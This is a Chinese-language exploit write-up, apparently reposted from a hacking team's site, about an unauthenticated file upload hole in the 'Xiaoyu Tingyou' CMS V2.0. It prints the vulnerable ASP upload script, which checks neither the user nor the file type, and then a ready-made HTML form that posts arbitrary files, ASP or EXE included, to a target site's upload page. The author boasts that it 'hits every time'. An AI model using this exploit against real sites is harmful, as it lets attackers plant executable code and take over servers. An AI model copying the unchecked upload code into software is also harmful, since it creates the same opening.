亲宝软件园·资讯

展开

晓宇听幽网站内容管理系统 V2.0

人气:0
想了解晓宇听幽网站内容管理系统 V2.0的相关内容吗,在本文为您仔细讲解的相关知识和一些Code实例,欢迎阅读和指正,我们先划重点:晓宇宇听听幽幽网网站站内内容容管管理理系系统统VV2200,下面大家一起来学习吧。
(作者给我们留下后门?)
晓宇听幽网站内容管理系统:
目前最强大整站系统:包含一般网站所必须的模块如新闻文章、下载、影视、图片、音乐等各模块相互独立又紧密联系,无限分级,自由调用,支持模板,前台全部生成html,最大程度节省系统资源,大中型门户网站的最佳选择

内容页面是生成html,比较安全,后台地方看了一下,好像也问题不大.
但是转到upload目录,发现两个文件
uploadset.asp upNewsIMg.asp
其中uploadset.asp中做了验证,而upNewsImg.asp中没有任何限制,我们来看一下源代码:

CODE:

<link rel="stylesheet" type="text/css" href="../admin/admin.css">
<script language="JavaScript">
<!-- Hide from older browsers...

//Function to add pic
function Addpic(imagePath){   
  window.opener.frames.message.focus();                     
  window.opener.frames.message.document.execCommand(’InsertImage’, false, imagePath);
}

// -->
</script>

<% server.scripttimeout=1900 %>
<%
UpFilePath="NewsIMG/"
fileweb="UPLOAD/"
nameset =1
pathset =0
dim i
i=1
%>
<% 
function makefilename(fname)
fname = now()
fname = replace(fname,"-","")
fname = replace(fname," ","") 
fname = replace(fname,":","")
makefilename=fname
end function 
%>
<!--#include FILE="upload_5xsoft.inc"-->
<%
dim upload,file,formName,iCount
dim url,url1
set upload=new upload_5xSoft ’’建立上传对象

iCount=0
for each formName in upload.file ’’列出所有上传了的文件
set file=upload.file(formName) ’’生成一个文件对象
if file.FileSize>0 then       ’’如果 FileSize > 0 说明有文件数据
fname = makefilename(now()) & iCount & "." & GetExtendName(file.FileName)
file.SaveAs Server.mappath(UpFilePath&fname)   ’’保存文件
iCount=iCount+1
response.write"图片"&i&" <input type=""text"" name="""&i&""" size=""55"" style=""border-style: solid; border-width: 1"" value=""../"&fileweb&UpFilePath&fname&"""><br>[ <a href=# onclick=""Addpic(’../"&fileweb&UpFilePath&fname&"’)"">点击这里把图片"&i&"添加到编辑器中</a> ]<br>"
i=i+1
set file=nothing
end if
next
set upload=nothing ’’删除此对象

function GetExtendName(FileName)
dim ExtName
ExtName = LCase(FileName)
ExtName = right(ExtName,3)
ExtName = right(ExtName,3-Instr(ExtName,"."))
GetExtendName = ExtName
end function
%>

[Copy to clipboard]


哈哈,完全可以自己购造一个上传页面,直接上传,连exe文件都可以,别说asp什么的啦.
而且上传完就有地址,简直就是作者给我们留的一个后门.
利用文件:

CODE:

<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#D6EF7E" text="#000000">
<form name="form1" method="post" action="http://www.target.com/upload/upnewsimg.asp" enctype="multipart/form-data">
<input type="hidden" name="act" value="upload">
<div align="center">
  <center>
  <table width="98%" border="0" cellspacing="0" cellpadding="5" bordercolordark="#CCCCCC" bordercolorlight="#000000" style="border-collapse: collapse" bordercolor="#111111" height="102">
    <tr>
    <th height="16" align="left" valign="middle">
    <div align="center">
      <b>图片上传</b>
    </div>
    </th>
    </tr>
    <tr align="left" valign="middle" bgcolor="#eeeeee">
    <td bgcolor="#FFFFFF" height="1" valign="top">
<input type="file" name="file1" style="width:200" class="tx1">

      
    </td>
    </tr>
    <tr align="center" valign="middle">
    <td align="left" id="upid" height="5" bgcolor="#FFFFFF">
    </td>
    </tr>
    <tr align="center" valign="middle" bgcolor="#eeeeee">
    <td bgcolor="#FFFFFF" height="28">
    <input type="submit" name="Submit" value="· 提交 ·" class="bt">
    <input type="reset" name="Submit2" value="· 重执 ·" class="bt"></td>
    </tr>
    <tr align="center" valign="middle" bgcolor="#eeeeee">
    <td height="14" bgcolor="#FFFFFF"> </td>
    </tr>
  </table>
  </center>
</div>
</form>

</body>

</html>

[Copy to clipboard]


百发百中,哈哈.好玩.
我的Blog     http://hhuai.cn
文章:坏坏
来源:邪恶八进制信息安全团队 

加载全部内容

相关教程
猜你喜欢
用户评论